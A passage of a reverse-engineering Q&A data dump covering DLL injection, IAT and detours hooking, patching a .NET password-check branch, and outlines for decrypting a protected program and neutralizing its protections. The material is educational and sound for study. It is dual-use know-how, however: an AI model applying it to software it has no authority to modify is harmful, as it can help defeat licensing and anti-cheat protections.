+ 12)) &amp;lt;&amp;lt; 8) / v39;&#xA;    v7 = v34;&#xA;    v40 = v24;&#xA;  }&#xA;  else&#xA;  {&#xA;    v40 = 0;&#xA;  }&#xA;  if ( v46 )&#xA;  {&#xA;    v7 = v34;&#xA;    v45 = ((*(_DWORD *)(v44 + 12) - *(_DWORD *)(v33 + 12)) &amp;lt;&amp;lt; 8) / v46;&#xA;  }&#xA;  else&#xA;  {&#xA;    v45 = 0;&#xA;  }&#xA;  v25 = *(_DWORD *)(v7 + 12);&#xA;  v26 = *(_DWORD *)(v33 + 16);&#xA;  v27 = v25 + (v38 * v20 &amp;gt;&amp;gt; 8);&#xA;  v28 = v14 &amp;gt;= v26 ? *(_DWORD *)(v33 + 12) + (v45 * (v14 - v26) &amp;gt;&amp;gt; 8) : v25 + (v40 * v20 &amp;gt;&amp;gt; 8);&#xA;  if ( v19 &amp;gt; v22 )&#xA;  {&#xA;    v29 = v19;&#xA;    v19 = v22;&#xA;    v22 = v29;&#xA;    v30 = v27;&#xA;    v27 = v28;&#xA;    v28 = v30;&#xA;  }&#xA;  if ( a3 &amp;lt; v19 || a3 &amp;gt; v22 )&#xA;  {&#xA;LABEL_58:&#xA;    result = -32767;&#xA;  }&#xA;  else&#xA;  {&#xA;    v31 = v22 - v19;&#xA;    if ( v31 )&#xA;      result = v27 + (((v28 - v27) &amp;lt;&amp;lt; 8) / v31 * (a3 - v19) &amp;gt;&amp;gt; 8);&#xA;    else&#xA;      result = v27 + (v27 * (a3 - v19) &amp;gt;&amp;gt; 8);&#xA;  }&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know why the functions have &lt;code&gt;void *this&lt;/code&gt; as the first parameter though.&lt;/p&gt;&#xA;" OwnerUserId="2198" LastEditorUserId="2198" LastEditDate="2013-06-15T20:50:04.287" LastActivityDate="2013-07-13T02:23:42.343" Title="how to convert this ASM to C" Tags="|disassembly|decompilation|ollydbg|ida|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2252" PostTypeId="1" AcceptedAnswerId="2255" CreationDate="2013-06-14T15:07:25.390" Score="70" ViewCount="44058" Body="&lt;p&gt;I was reading a discussion about dumping a processes part of a process's memory and someone suggested using DLL injection to do this. I'll be honest in that I don't really understand. How does DLL injection work and what kinds of reversing tasks can you do with it?&lt;/p&gt;&#xA;" OwnerUserId="2142" LastEditorUserId="182" LastEditDate="2013-06-14T20:14:10.340" LastActivityDate="2022-07-20T08:43:50.433" Title="What is DLL Injection and how is it used for reversing?" Tags="|dll|dll-injection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2253" PostTypeId="2" ParentId="2252" CreationDate="2013-06-14T16:02:35.200" Score="45" Body="&lt;p&gt;DLL Injection works by tricking/forcing the target process into loading a DLL of your choice. After that, the code in that DLL will get executed as part of the target process and will be able to do &lt;em&gt;anything the process itself can&lt;/em&gt;. The fun part will be to figure out how to get your code called by the target process.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;DLLs can be injected by:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;simply substituting your DLL for one the process typically uses - e.g., if you name your DLL &lt;code&gt;ddraw.dll&lt;/code&gt;, a lot of games will happily load it instead of the real Direct Draw DLL. I've seen this done to force the game to use Direct Draw in software emulation mode only, to accelerate it on specific GPUs.&lt;/li&gt;&#xA;&lt;li&gt;tricking the loader into loading a known DLL from a different folder - see &lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20101110-00/?p=12313&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Old New Thing&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;replacing some of the process code with instructions to load your DLL.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/DLL_injection&quot; rel=&quot;nofollow noreferrer&quot;&gt;using plenty of other ways&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The next step would be getting your DLL code to actually execute. But if you want to do something meaningful, this will be hard - you need to know what the process does, what data structures it uses, etc., so you'll most likely need to disassemble it.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can create a new thread in the target process to invoke a function from your DLL. Suspend the existing threads first to preserve your sanity and avoid funky multithreading bugs.&lt;/li&gt;&#xA;&lt;li&gt;If you replaced a known DLL with your own, the process will expect your DLL to respond to specific function calls - you better know what those functions are and provide their replacements in your DLL.&lt;/li&gt;&#xA;&lt;li&gt;If you changed the executable to call your DLL &lt;em&gt;in addition to known DLLs&lt;/em&gt;, you had to take the executable apart already. Now go find some places of interest, and insert calls to your DLL functions there. See &lt;a href=&quot;https://stackoverflow.com/questions/787100/what-is-a-code-cave-and-is-there-any-legitimate-use-for-one&quot;&gt;code cave&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I have performed DLL injection by launching the target process as a debuggee process, overwriting some bytes in its startup code with a custom code sequence that calls &lt;code&gt;LoadLibrary(&amp;quot;mydll.dll&amp;quot;); GetProcAddress(myLib, &amp;quot;myFunc&amp;quot;);&lt;/code&gt;, and rewriting some code in the executable to jump to functions in the DLL instead.&lt;/p&gt;&#xA;&lt;p&gt;Using this method some friends and I wrote a pretty big unofficial bugfix/enhancement DLL for &lt;em&gt;Command &amp;amp; Conquer: Red Alert 2&lt;/em&gt; - nowadays that DLL is about 15% the size of the original game executable. As a result, later official updates of the game were limited to only things their staff could do without recompiling the binary, which was uncharacteristically nice of EA.&lt;/p&gt;&#xA;" OwnerUserId="262" LastEditorUserId="13506" LastEditDate="2022-07-20T08:43:50.433" LastActivityDate="2022-07-20T08:43:50.433" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="2254" PostTypeId="1" CreationDate="2013-06-14T17:07:23.250" Score="7" ViewCount="4128" Body="&lt;p&gt;I have a challenge compiled in C# .net 4.0. I can see the source completely fine in Reflector. I'd like to change the source. I guess I do this by patching some bytes in the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm facing is when loading the binary in Ildasm.exe I cannot convert these ID_xxxx addresses to RVA or find their corresponding bytes in CFF Explorer. What is the typical way to patch a .net exe in this fashion? I read some of lena's tutorials so normally I'd load it in Olly, and I tried this but I cannot see any useful code and most actions seem to happen in various Windows .dll's and not in the .exe itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would most appreciative if someone could give advice or point me to a tutorial. Thank you. &lt;/p&gt;&#xA;" OwnerUserId="2245" LastActivityDate="2013-06-15T13:52:05.233" Title="Patching a .Net 4.0 Binary in Olly or CFF Explorer" Tags="|.net|patching|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2255" PostTypeId="2" ParentId="2252" CreationDate="2013-06-14T20:13:54.557" Score="66" Body="&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/2253/2676&quot;&gt;DCoder's answer&lt;/a&gt; is a good one.  To expand somewhat, I most often use DLL injection in the context of forcing an existing process to load a DLL through CreateRemoteThread.  From there, the entrypoint of the DLL will be executed by the operating system once it is loaded.  In the entrypoint, I will then invoke a routine that performs in-memory patching of all of the locations within the original binary that interest me, and redirects their execution into my DLL via a variety of modifications.  If I am interested in modifying or observing the process' interaction with some imported function, then I will overwrite the IAT (Import Address Table) entry for that function and replace it with a pointer to something that I control.  If I want to do the same with respect to some function that exists within the binary, I will make some sort of detours-style patch at the beginning of the function.  I can even do very surgical and targeted hooks at arbitrary locations, akin to old-school byte patching.  My DLL does its business within the individual hooks, and then is programmed to redirect control back to the original process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DLL injection provides a platform for manipulating the execution of a running process.  It's very commonly used for logging information while reverse engineering.  For example, you can hook the IAT entry for a given imported operating system library function, and then log the function arguments onto disk.  This provides you a data source that can assist in rapidly reverse engineering the target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DLL injection is not limited to logging, though.  Given the fact that you have free reign to execute whatever code that you want within the process' address space, you can modify the program in any way that you choose.  This technique is frequently used within the game hacking world to code bots.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything that you could do with byte patching, you can do with DLL injection.  Except DLL injection will probably be easier and faster, because you get to code your patches in C instead of assembly language and do not have to labor over making manual modifications to the binary and its PE structure, finding code caves, etc.  DLL injection almost entirely eliminates the need for using assembly language while making modifications to a binary; the only assembly language needed will be small pieces of code nearby the entrance and exit to a particular hook to save and restore the values of registers / the flags.  It also makes binary modification fast and simple, and does not alter cryptographic signatures of the executable that you are patching. (The comment about cryptographic signatures applies to the executable on disk, not in memory; of course, altering the contents in memory would affect a cryptographic signature computed on the altered memory contents.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DLL injection can be employed to solve highly non-trivial reverse engineering problems.  The following example is necessarily vague in some respects because of non-disclosure agreements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a recurring interest in a program that was updated very frequently (sometimes multiple times daily).  The program had a number of sections in it that were encrypted on disk after compilation time and had to be decrypted at run-time.  The software included a kernel module which performed the run-time encryption/decryption. To request encryption or decryption of a given section, the program shipped with a DLL that exported a function which took as arguments the number of the section and a Boolean that indicated whether the section should be encrypted or decrypted.  All of the components were digitally signed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I employed a DLL injection-based solution that worked as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create the process suspended.&lt;/li&gt;&#xA;&lt;li&gt;Inject the DLL.&lt;/li&gt;&#xA;&lt;li&gt;DLL hooks GetProcAddress in the program's IAT.&lt;/li&gt;&#xA;&lt;li&gt;GetProcAddress hook waits for a specific string to be supplied and then returns its own hooked version of that function.&lt;/li&gt;&#xA;&lt;li&gt;The hooked function inspects the return address on the stack two frames up to figure out the starting address of the function (call it Func) that called it.&lt;/li&gt;&#xA;&lt;li&gt;The hooked function then calls Func for each encrypted section, instructing it to decrypt each section.  To make this work, the hooked function has to pass on the calls to the proper function in the DLL for these calls.&lt;/li&gt;&#xA;&lt;li&gt;After having done so, for every subsequent call to the hooked function, it simply returns 1 as though the call was successful.&lt;/li&gt;&#xA;&lt;li&gt;Having decrypted all the sections, the DLL now dumps the process' image onto the disk and reconstructs the import information.&lt;/li&gt;&#xA;&lt;li&gt;After that it does a bunch of other stuff neutralizing the other protections.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Initially I was doing all of this by hand for each new build.  That was way too tedious.  One I coded the DLL injection version, I never had to undertake that substantial and manual work ever again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DLL injection is not widely known or used within reverse engineering outside of game hacking.  This is very unfortunate, because it is an extremely powerful, flexible, and simple technique that should be part of everyone's repertoire.  I have used it dozens of times and it seems to find a role in all of my dynamic projects.  The moment my task becomes too cumbersome to do with a debugger script, I switch to DLL injection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the spectrum of reverse engineering techniques, every capability of DLL injection is offered by dynamic binary instrumentation (DBI) tools as well, and DBI is yet more powerful still.  However, DBI &lt;a href=&quot;http://blog.coresecurity.com/2012/06/22/recon-2012-presentation-detecting-dynamic-binary-instrumentation-frameworks/&quot; rel=&quot;noreferrer&quot;&gt;is not stealthy&lt;/a&gt; and incurs a serious overhead in terms of memory consumption and possibly performance.  I always try to use DLL injection before switching to DBI.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="26177" LastEditDate="2018-11-02T21:14:29.610" LastActivityDate="2018-11-02T21:14:29.610" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="2256" PostTypeId="2" ParentId="2254" CreationDate="2013-06-14T20:31:39.393" Score="2" Body="&lt;p&gt;Consider the following .NET 4.5 Console application :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using System;&#xA;&#xA;namespace ReversingMSIL101&#xA;{&#xA;    class Program&#xA;    {&#xA;        static void Main(string[] args) {&#xA;            if (args.Length &amp;gt; 0 &amp;amp;&amp;amp; args[0] == &quot;Secret&quot;)&#xA;                Authenticated();&#xA;            else&#xA;                Anonymous();&#xA;        }&#xA;&#xA;        private static void Authenticated() {&#xA;            Console.WriteLine(&quot;Gold for the people!&quot;);&#xA;        }&#xA;&#xA;        private static void Anonymous() {&#xA;            Console.WriteLine(&quot;Give them copper ...&quot;);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compile and open Ildasm . We will start by loading the executable (File-&gt;Open). Once done : dump it (File-&gt;Dump). Ildasm respond with a nice dialog full of checkboxes, since we want as much information as it's possible, check everything!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's have a look at our disassembled IL instructions, fire up your preferred editor and open the previously generated dump. We are especially interested in the &lt;code&gt;if&lt;/code&gt; statement since it controls if the supplied &lt;em&gt;password&lt;/em&gt; is correct; note that you can easly spot it using the generated comments.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//000009:             if (args.Length &amp;gt; 0 &amp;amp;&amp;amp; args[0] == &quot;Secret&quot;)&#xA;IL_0001:  /* 02   |                  */ ldarg.0&#xA;IL_0002:  /* 8E   |                  */ ldlen&#xA;IL_0003:  /* 69   |                  */ conv.i4&#xA;IL_0004:  /* 16   |                  */ ldc.i4.0&#xA;IL_0005:  /* 31   | 12               */ ble.s      IL_0019&#xA;IL_0007:  /* 02   |                  */ ldarg.0&#xA;IL_0008:  /* 16   |                  */ ldc.i4.0&#xA;IL_0009:  /* 9A   |                  */ ldelem.ref&#xA;IL_000a:  /* 72   | (70)000001       */ ldstr      &quot;Secret&quot; /* 70000001 */&#xA;IL_000f:  /* 28   | (0A)000011       */ call       bool [mscorlib/*23000001*/]System.String/*01000013*/::op_Equality(string, string) /* 0A000011 */&#xA;IL_0014:  /* 16   |                  */ ldc.i4.0&#xA;IL_0015:  /* FE01 |                  */ ceq&#xA;IL_0017:  /* 2B   | 01               */ br.s       IL_001a&#xA;IL_0019:  /* 17   |                  */ ldc.i4.1&#xA;IL_001a:  /* 00   |                  */ nop&#xA;IL_001b:  /* 0A   |                  */ stloc.0&#xA;IL_001c:  /* 06   |                  */ ldloc.0&#xA;IL_001d:  /* 2D   | 08               */ brtrue.s   IL_0027&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I let to the reader the task to reverse and analyse the instructions. We will continue by looking at the last one. Long story short : if the first argument isn't the string &lt;code&gt;&quot;Secret&quot;&lt;/code&gt; we will take the branch and end up at &lt;code&gt;IL_0027&lt;/code&gt; : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IL_0027:  /* 28   | (06)000003       */ call       void ReversingMSIL101.Program/*02000002*/::Anonymous() /* 06000003 */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pretty bad heh? So we will simply tweak a bit that last instruction, moreover by replacing it by &lt;code&gt;brfalse.s&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IL_001d:  /* 2B   | 08               */ brfalse.s   IL_0027&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's it, we are done! Save the file and open a shell, navigate to the folder containing the IL dump and issue &lt;code&gt;ilasm ReversingMSIL101.il&lt;/code&gt; inorder to reassemble the dump into an executable!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it's the time to verify our work :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\dna\Documents\Visual Studio 2012\Projects\ReversingMSIL101\ReversingMSIL101\bin\Debug&amp;gt;ReversingMSIL101.exe IdoNotKnow&#xA;Gold for the people!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2214" LastEditorUserId="2214" LastEditDate="2013-06-14T20:42:30.287" LastActivityDate="2013-06-14T20:42:30.287" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2257" PostTypeId="2" ParentId="2241" CreationDate="2013-06-15T03:14:04.987" Score="5" Body="&lt;p&gt;Try to set a catchpoint on fork if you are want to both the parent and the child.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set-follow-fork-mode ask &#xA;catch fork &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Concerning your second point, I have this macro in my &lt;code&gt;.gdbinit&lt;/code&gt; (I believe ultimately originating from Tavis Ormandy). It is imminently useful in many cases, your own included.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define assemble&#xA; # dont enter routine again if user hits enter&#xA; dont-repeat&#xA; if ($argc)&#xA;  if (*$arg0 = *$arg0)&#xA;    # check if we have a valid address by dereferencing it,&#xA;    # if we havnt, this will cause the routine to exit.&#xA;  end&#xA;  printf &quot;Instructions will be written to %#x.\n&quot;, $arg0&#xA; else&#xA;  printf &quot;Instructions will be written to stdout.\n&quot;&#xA; end&#xA; printf &quot;Type instructions, one per line.\n&quot;&#xA; printf &quot;End with a line saying just \&quot;end\&quot;.\n&quot;&#xA; if ($argc)&#xA;  # argument specified, assemble instructions into memory&#xA;  # at address specified.&#xA;  shell nasm -f bin -o /dev/stdout /dev/stdin \&#xA;    &amp;lt;&amp;lt;&amp;lt; &quot;$( echo &quot;BITS 32&quot;; while read -ep '&amp;gt;' r &amp;amp;&amp;amp; test &quot;$r&quot; != end; \&#xA;                do echo -E &quot;$r&quot;; done )&quot; | hexdump -ve \&#xA;        '1/1 &quot;set *((unsigned char *) $arg0 + %#2_ax) = %#02x\n&quot;' \&#xA;            &amp;gt; ~/.gdbassemble&#xA;  # load the file containing set instructions&#xA;  source ~/.gdbassemble&#xA;  # all done.&#xA;  shell rm -f ~/.gdbassemble&#xA; else&#xA;  # no argument, assemble instructions to stdout&#xA;  shell nasm -f bin -o /dev/stdout /dev/stdin \&#xA;    &amp;lt;&amp;lt;&amp;lt; &quot;$( echo &quot;BITS 32&quot;; while read -ep '&amp;gt;' r &amp;amp;&amp;amp; test &quot;$r&quot; != end; \&#xA;                do echo -E &quot;$r&quot;; done )&quot; | ndisasm -i -b32 /dev/stdin&#xA; end&#xA;end&#xA;document assemble&#xA;Assemble instructions using nasm.&#xA;Type a line containing &quot;end&quot; to indicate the end.&#xA;If an address is specified, insert instructions at that address.&#xA;If no address is specified, assembled instructions are printed to stdout.&#xA;Use the pseudo instruction &quot;org ADDR&quot; to set the base address.&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="241" LastActivityDate="2013-06-15T03:14:04.987" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2258" PostTypeId="2" ParentId="2254" CreationDate="2013-06-15T07:36:42.727" Score="1" Body="&lt;p&gt;As much as dna answer is great and well explained, this is often impractical for real-world executables, unless they are very simple and short. Dumping something, changing it and &quot;recompiling&quot; is error-prone, especially in obfuscated assemblies and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you download &lt;a href=&quot;http://reflexil.net/&quot; rel=&quot;nofollow&quot;&gt;Reflexil&lt;/a&gt;, it's a &lt;a href=&quot;http://www.red-gate.com/products/dotnet-development/reflector/&quot; rel=&quot;nofollow&quot;&gt;Reflector&lt;/a&gt; plugin: you can see the IL of the functions you're viewing through Reflector, change whatever you need to change in a very simple way and then just save the modified exe. This is much much less error-prone, since you're not dumping and rebuilding the program from scratch. Also, you can inject anything into the assembly this way, be it classes, new methods, structures.&lt;/p&gt;&#xA;" OwnerUserId="2255" LastEditorUserId="189" LastEditDate="2013-06-15T07:52:19.147" LastActivityDate="2013-06-15T07:52:19.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2259" PostTypeId="2" ParentId="2254" CreationDate="2013-06-15T13:52:05.233" Score="7" Body="&lt;p&gt;There is a plugin called &lt;a href=&quot;http://reflexil.net&quot;&gt;Reflexil&lt;/a&gt; for Reflector which makes it very easy to patch a .NET binary. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Reflexil is an assembly editor and runs as a plug-in for Red Gate's&#xA;  Reflector and Telerik's JustDecompile. Reflexil is using Mono.Cecil,&#xA;  written by Jb Evain and is able to manipulate IL code and save the&#xA;  modified assemblies to disk. Reflexil also supports C#/VB.NET code&#xA;  injection.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I did a &lt;a href=&quot;http://www.remkoweijnen.nl/blog/2013/05/30/redirect-registry-by-modifying-net-executable/&quot;&gt;write-up on my blog&lt;/a&gt; recently with an example.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-06-15T13:52:05.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2260" PostTypeId="1" AcceptedAnswerId="2396" CreationDate="2013-06-15T15:45:41.703" Score="15" ViewCount="5900" Body="&lt;p&gt;I want to open finnish sports league &quot;data file&quot; used for bookkeeping. It includes all statistics for few decade, so it's interesting data file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file is here: &lt;a href=&quot;http://www.bittilahde.fi/Tietokanta.dat&quot; rel=&quot;noreferrer&quot;&gt;http://www.bittilahde.fi/Tietokanta.dat&lt;/a&gt; (Database.dat in english)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The book keeping program is here: &lt;a href=&quot;http://www.pesistulokset.fi/Kirjaus504.exe&quot; rel=&quot;noreferrer&quot;&gt;http://www.pesistulokset.fi/Kirjaus504.exe&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've found out:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The histogram of database file is completely flat&lt;/li&gt;&#xA;&lt;li&gt;There's no header I could recognize in database file&lt;/li&gt;&#xA;&lt;li&gt;The .exe is compiled with Delphi 4&lt;/li&gt;&#xA;&lt;li&gt;I can find some data structures with &lt;a href=&quot;http://kpnc.org/idr32/en/index.htm&quot; rel=&quot;noreferrer&quot;&gt;IDR&lt;/a&gt;, but cannot figure out how uncompress the file.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What could be the next step? &lt;/p&gt;&#xA;" OwnerUserId="1729" LastEditorUserId="1729" LastEditDate="2017-03-06T08:18:32.027" LastActivityDate="2017-03-06T08:18:32.027" Title="Reverse engineering compressed file, where to start?" Tags="|file-format|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2261" PostTypeId="1" CreationDate="2013-06-15T18:31:54.283" Score="2" ViewCount="3095" Body="&lt;p&gt;I've looked this up for a few days now, but I can only find software like MSTView or Orca, which both require an MSI file to unpack the MST.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to unpack an MST file without an MSI file?&lt;/p&gt;&#xA;" OwnerUserId="2264" LastEditorUserId="189" LastEditDate="2013-06-16T07:34:02.850" LastActivityDate="2013-06-16T10:40:16.230" Title="Unpacking an MST file without an MSI file" Tags="|unpacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2262" PostTypeId="1" AcceptedAnswerId="2281" CreationDate="2013-06-15T22:58:17.680" Score="24" ViewCount="50847" Body="&lt;p&gt;In &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2252/what-is-dll-injection-and-how-is-it-used-for-reversing&quot;&gt;this question on DLL injection&lt;/a&gt; multiple answers mention that DLL injection can be used to modify games, perhaps for the purposes of writing a bot. It seems desirable to be able to detect DLL injection to prevent this from happening. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2142" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2017-09-19T10:37:20.907" Title="How can DLL injection be detected?" Tags="|dll|dll-injection|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2263" PostTypeId="2" ParentId="2260" CreationDate="2013-06-16T05:18:56.187" Score="4" Body="&lt;p&gt;Well from this point on, your best bet would be to reverse the program's database loading functions since the database might be a custom one. Place a break point on &lt;code&gt;CreateFile&lt;/code&gt;/&lt;code&gt;OpenFile&lt;/code&gt; APIs when it loads the database and then look for the database manipulation functions to see how it extracts the contents. Couldn't try this on the program you posted since the user interface is in Finnish.&lt;/p&gt;&#xA;" OwnerUserId="2043" LastActivityDate="2013-06-16T05:18:56.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2264" PostTypeId="2" ParentId="2260" CreationDate="2013-06-16T07:33:39.103" Score="5" Body="&lt;p&gt;the .dat file you posted is written back every time it is accessed by your app constant size of 9.6 MB  (0x267 * 0x4000 ) = 0x99c0000 bytes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4000 bytes are accessed on each successive reads&#xA;267 times ReadFile is Done&#xA;each of the 4000 bytes is xorred using a routine (custom ??)&#xA;and then check summed &#xA;&lt;code&gt;for (int i = 0; i&amp;lt; 0x267 ;i++)&#xA;{&#xA;checksum = *(DWORD *) (FilePointer)(0x3ffc + i)&#xA;}&lt;/code&gt;&#xA;so on a dead dat file opened via hexeditor the dwords 0x3ffc,0x7ffc ...... contains the latest checksum &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you might have to reverse engineer the xorring routine and checksum routine &lt;/p&gt;&#xA;&#xA;&lt;p&gt;analyse all the callstacks in the log file generated by windbg with this break point&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;C:\&amp;gt;cdb  -c &quot;.logopen kir.txt;bu ntdll!NtReadFile \&quot;.if ( poi(esp+0x1c) != 0x400&#xA;0) {gc} .else {kb;g }\&quot;&quot; Kirjaus504.exe&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2013-06-16T07:33:39.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2265" PostTypeId="2" ParentId="2261" CreationDate="2013-06-16T10:31:25.820" Score="4" Body="&lt;p&gt;7 zip understand both msi and mst files and can extract them to their constituent files /folders &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C:&gt;ndff -d f: *.mst | grep SP1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;\Virtual PC 2004 SP1\Virtual PC 2004 SP1\1031.mst&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C:&gt;file &quot;f:\Virtual PC 2004 SP1\Virtual PC 2004 SP1\1031.mst&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;f:\Virtual PC 2004 SP1\Virtual PC 2004 SP1\1031.mst; &#xA;CDF V2 Document, Little Endian, &#xA;Os: Windows, Version 5.1, Code page: 1252, Title: Installation Database, &#xA;Subject: Microsoft Virtual PC 2004 Installer, Author: Microsoft Corporation, &#xA;Keywords: Installer, Comments: WiX-basierter Installer fⁿr VPC2004, &#xA;Create Time/Date: Thu Jul 29 06:49:22 2004, &#xA;Name of Creating Application: Windows Installer, &#xA;Security: 1, Template: ;1033, Last Saved By: ;1031, &#xA;Revision Number: &#xA;{CCCAFDDE-ECEC-4AE4-BD97-047076BBD4A9}5.3.582.16;&#xA;{CCCAFDDE-ECEC-4AE4-BD97-047076BBD4A9}5.3.582.16;&#xA;{339DD19A-341A-4CED-BC00-5B40BDED4DA2}, &#xA;Number of Pages: 200, &#xA;Number of Characters: 0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C:&gt;&quot;c:\Program Files\7-Zip\7z.exe&quot; l &quot;f:\Virtual PC 2004 SP1\Virtual PC 2004 SP1\1031.mst&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;`&#xA;    7-Zip 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Listing archive: f:\Virtual PC 2004 SP1\Virtual PC 2004 SP1\1031.mst&#xA;&#xA;--&#xA;Path = f:\Virtual PC 2004 SP1\Virtual PC 2004 SP1\1031.mst&#xA;Type = Compound&#xA;Cluster Size = 512&#xA;Sector Size = 64&#xA;&#xA;Date      Time    Attr         Size   Compressed  Name&#xA;------------------- ----- ------------ ------------  ------------------------&#xA;                .....           42           64  !Property&#xA;                .....          132          192  !Error&#xA;                .....          144          192  !Dialog&#xA;                .....           36           64  !Registry&#xA;                .....          982         1024  !Control&#xA;                .....           14           64  !TextStyle&#xA;                .....           48           64  !ActionText&#xA;                .....          820          832  !_StringPool&#xA;                .....        23374        23552  !_StringData&#xA;                .....           32           64  !RadioButton&#xA;                .....          592          640  [5]SummaryInformation&#xA;------------------- ----- ------------ ------------  ------------------------&#xA;                             26216        26752  11 files, 0 folders `&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C:&gt;dir &quot;f:\Virtual PC 2004 SP1\Virtual PC 2004 SP1\1031.mst&quot;&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`Directory of f:\Virtual PC 2004 SP1\Virtual PC 2004 SP1  &#xA;&#xA; 30/08/2006  12:41            30,208 1031.mst  &#xA;           1 File(s)         30,208 bytes  &#xA;           0 Dir(s)   1,154,138,112 bytes free`  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="1924" 